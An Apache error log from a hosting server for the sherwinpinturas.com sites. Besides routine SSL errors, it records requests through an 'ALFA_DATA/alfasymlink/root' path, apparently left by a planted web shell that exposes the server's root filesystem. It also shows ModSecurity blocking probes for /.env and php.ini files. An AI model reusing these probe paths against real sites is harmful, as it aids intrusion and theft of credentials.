[Sun Oct 25 07:43:50.861076 2026] [security2:error] [pid 2820367:tid 2820367] [client 34.234.197.175:14754] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/subsystem/drivers/ata_piix/0000:00:01.1/ata1/"] [unique_id "at3rdq6y10zADJ0W8jUhOwAAAAA"]
[Sun Oct 25 07:43:50.861132 2026] [security2:error] [pid 2820367:tid 2820367] [client 34.234.197.175:14754] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/subsystem/drivers/ata_piix/0000:00:01.1/ata1/"] [unique_id "at3rdq6y10zADJ0W8jUhOwAAAAA"]
[Sun Oct 25 07:43:54.872971 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.205.222.214:24686] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:43:58.954603 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.209.89.189:33802] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:44:02.892394 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.233.24.238:38180] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:44:11.117858 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.80.73.122:25784] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:44:14.932121 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.234.197.175:1963] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:44:22.953620 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.194.95.99:7857] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:44:27.265769 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.197.114.76:37579] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:44:31.074637 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.70.123.241:38858] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:44:34.776656 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 85.208.96.196:52112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/slabs
[Sun Oct 25 07:44:34.919504 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 50.16.72.185:37392] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:44:36.081316 2026] [security2:error] [pid 2820367:tid 2820367] [client 130.12.180.171:56604] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at3rpK6y10zADJ0W8jUhPgAAAAA"]
[Sun Oct 25 07:44:36.081379 2026] [security2:error] [pid 2820367:tid 2820367] [client 130.12.180.171:56604] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at3rpK6y10zADJ0W8jUhPgAAAAA"]
[Sun Oct 25 07:44:38.915304 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 44.221.180.179:64282] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:44:38.915504 2026] [security2:error] [pid 2815606:tid 2815606] [client 44.221.180.179:64282] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/physical_node/driver/cpu0/node0/memory22/subsystem/devices/memory0/power/runtime_active_time"] [unique_id "at3rpiQ6C_qJaeV2JCrHhAAAABQ"]
[Sun Oct 25 07:44:38.915557 2026] [security2:error] [pid 2815606:tid 2815606] [client 44.221.180.179:64282] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/physical_node/driver/cpu0/node0/memory22/subsystem/devices/memory0/power/runtime_active_time"] [unique_id "at3rpiQ6C_qJaeV2JCrHhAAAABQ"]
[Sun Oct 25 07:44:43.162260 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 18.213.240.226:51208] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:44:47.368553 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.194.139.149:31613] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:44:51.108099 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.6.5.24:8548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:44:53.149589 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 185.191.171.14:62246] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bdev_cache/cpu_slabs
[Sun Oct 25 07:45:03.162885 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 34.224.9.144:34544] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:45:07.189183 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 54.84.147.79:43724] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:45:10.993430 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 52.70.138.176:17774] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:45:15.015020 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.220.148.166:42209] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:45:19.102951 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 107.23.62.75:25837] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:45:19.103149 2026] [security2:error] [pid 2815606:tid 2815606] [client 107.23.62.75:25837] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory13/node0/cpu0/cache/index1/level"] [unique_id "at3rzyQ6C_qJaeV2JCrHhwAAABQ"]
[Sun Oct 25 07:45:19.103183 2026] [security2:error] [pid 2815606:tid 2815606] [client 107.23.62.75:25837] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory13/node0/cpu0/cache/index1/level"] [unique_id "at3rzyQ6C_qJaeV2JCrHhwAAABQ"]
[Sun Oct 25 07:45:35.109771 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 44.221.180.179:62895] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:45:39.113657 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 35.172.125.172:45242] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:45:43.971420 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.157.84.74:4275] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:45:47.615526 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 3.235.215.92:10599] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:45:59.053967 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 35.174.253.85:29171] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:46:03.046449 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.232.36.1:53561] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:46:07.274286 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.204.89.12:48495] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:46:19.042366 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.208.223.68:31368] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:46:25.010163 2026] [authz_core:error] [pid 2822163:tid 2822163] [client 20.12.243.131:38920] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:46:31.211982 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 54.83.240.58:62281] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:46:35.263832 2026] [ssl:error] [pid 2806348:tid 2806348] (5)Input/output error: [client 3.212.86.97:63479] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:46:35.422163 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 185.191.171.5:22168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/partial
[Sun Oct 25 07:46:43.262875 2026] [ssl:error] [pid 2815599:tid 2815599] (22)Invalid argument: [client 3.220.70.171:30673] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:46:47.301194 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.24.167.60:43920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:46:59.265764 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 34.194.95.99:12418] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:47:00.960929 2026] [authz_core:error] [pid 2821699:tid 2821699] [client 34.156.152.175:51092] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:47:03.541233 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 18.207.89.138:52585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:47:07.477600 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 85.208.96.206:26060] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:47:23.412482 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 52.45.29.57:57814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/driver/remove_id
[Sun Oct 25 07:47:27.386151 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.208.223.68:59342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:47:41.284170 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 85.208.96.196:65422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/xt_REDIRECT/sections/__mcount_loc
[Sun Oct 25 07:47:59.552972 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 54.157.84.74:18683] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:48:12.498668 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.212.131.50:24807] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:48:15.844866 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.24.149.244:41849] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:48:27.715438 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 34.206.212.24:19391] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:48:31.677009 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 3.94.156.104:8580] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:48:39.544311 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.0.218.219:1728] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:48:43.662617 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.215.24.66:28719] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:48:59.997912 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 34.234.197.175:33866] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:49:07.759453 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 50.17.193.48:59853] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/resource4_wc
[Sun Oct 25 07:49:11.725958 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.202.88.37:50822] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:49:19.770193 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.218.35.239:36053] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:49:23.666487 2026] [ssl:error] [pid 2815599:tid 2815599] (5)Input/output error: [client 3.94.156.104:13788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:49:40.013337 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 50.19.102.70:50187] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:49:52.059116 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 23.23.103.31:14193] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:49:59.876261 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.4.238.8:57576] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:50:11.869602 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.204.37.237:50433] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:50:16.054939 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 23.23.137.202:13198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:50:19.796576 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 34.234.200.207:62549] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:50:27.951155 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 23.21.227.240:38085] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:50:35.928025 2026] [ssl:error] [pid 2815599:tid 2815599] (22)Invalid argument: [client 3.221.244.28:25597] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:50:39.998805 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 34.206.193.60:51744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:50:43.846774 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 52.4.238.8:46209] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:50:47.728227 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 18.215.24.66:27843] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:50:51.777544 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 52.203.68.145:22122] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:51:01.217718 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 35.169.102.85:29548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/resource4
[Sun Oct 25 07:51:03.750930 2026] [ssl:error] [pid 2815602:tid 2815602] (5)Input/output error: [client 54.156.124.2:62523] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:51:14.681204 2026] [security2:error] [pid 2815606:tid 2815606] [client 85.208.96.198:55086] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/powersave/tuned.conf"] [unique_id "at3tMiQ6C_qJaeV2JCrHmwAAABQ"]
[Sun Oct 25 07:51:14.681623 2026] [security2:error] [pid 2815606:tid 2815606] [client 85.208.96.198:55086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/powersave/tuned.conf"] [unique_id "at3tMiQ6C_qJaeV2JCrHmwAAABQ"]
[Sun Oct 25 07:51:14.682130 2026] [security2:error] [pid 2815606:tid 2815606] [client 85.208.96.198:55086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/powersave/tuned.conf"] [unique_id "at3tMiQ6C_qJaeV2JCrHmwAAABQ"]
[Sun Oct 25 07:51:19.673189 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 3.221.156.96:30791] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:51:23.820335 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 85.208.96.208:56970] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/aliases
[Sun Oct 25 07:51:32.086192 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 3.208.146.193:29683] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:51:33.817692 2026] [security2:error] [pid 2815605:tid 2815605] [client 130.12.180.171:34676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3tRQYPMfHr0EMMDlnmBgAAABM"]
[Sun Oct 25 07:51:33.817969 2026] [security2:error] [pid 2815605:tid 2815605] [client 130.12.180.171:34676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3tRQYPMfHr0EMMDlnmBgAAABM"]
[Sun Oct 25 07:51:33.818246 2026] [security2:error] [pid 2815605:tid 2815605] [client 130.12.180.171:34676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3tRQYPMfHr0EMMDlnmBgAAABM"]
[Sun Oct 25 07:51:33.830750 2026] [security2:error] [pid 2806348:tid 2806348] [client 130.12.180.170:33094] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3tRQ-YVEbWS5meiuhjFAAAAAw"]
[Sun Oct 25 07:51:33.830908 2026] [security2:error] [pid 2806348:tid 2806348] [client 130.12.180.170:33094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3tRQ-YVEbWS5meiuhjFAAAAAw"]
[Sun Oct 25 07:51:33.831219 2026] [security2:error] [pid 2806348:tid 2806348] [client 130.12.180.170:33094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3tRQ-YVEbWS5meiuhjFAAAAAw"]
[Sun Oct 25 07:51:35.992101 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 3.219.81.66:52970] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:51:47.731880 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 44.208.193.63:58459] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:51:51.702131 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 23.21.250.48:32971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:51:55.940190 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 52.2.191.202:30771] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:51:59.783229 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.210.204.255:61631] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:52:03.707045 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.213.240.226:31919] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:52:11.663988 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 98.83.72.38:61398] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:52:28.086683 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 18.206.47.187:55279] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/line
[Sun Oct 25 07:52:29.563746 2026] [authz_core:error] [pid 2815599:tid 2815599] [client 146.148.22.15:40962] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:52:39.564214 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 18.209.201.119:32813] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:52:43.559874 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.80.73.122:48487] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:52:55.429298 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 52.54.15.103:59778] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:53:03.528522 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 34.193.2.57:8712] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:53:11.421771 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 100.29.160.53:61989] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:53:15.490819 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.213.240.226:65527] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:53:19.339495 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.213.106.226:9281] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:53:27.347596 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 3.218.103.254:22232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/piix4_smbus/module/sections/__param
[Sun Oct 25 07:53:43.262248 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 34.192.67.98:12512] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:53:55.200116 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 3.230.224.6:46151] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:54:15.139845 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 107.20.224.184:35775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:54:23.169112 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.71.46.142:14290] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:54:31.034957 2026] [ssl:error] [pid 2815606:tid 2815606] (5)Input/output error: [client 3.229.164.203:64325] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:54:32.018236 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 185.191.171.13:43938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/red_zone
[Sun Oct 25 07:54:37.845558 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 216.244.66.250:49056] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/portables/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/portables/' is executable
[Sun Oct 25 07:54:38.059339 2026] [core:crit] [pid 2806348:tid 2806348] (13)Permission denied: [client 216.244.66.250:49056] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/NetworkManager/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/lib/NetworkManager/' is executable
